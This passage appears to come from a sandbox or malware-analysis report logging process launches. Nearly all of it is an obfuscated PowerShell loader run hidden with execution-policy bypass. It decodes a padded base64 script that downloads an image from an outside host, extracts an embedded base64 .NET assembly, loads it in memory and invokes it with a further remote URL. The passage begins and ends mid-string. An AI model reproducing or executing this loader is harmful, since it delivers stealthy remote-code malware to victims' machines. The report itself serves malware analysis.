63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000004e8
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(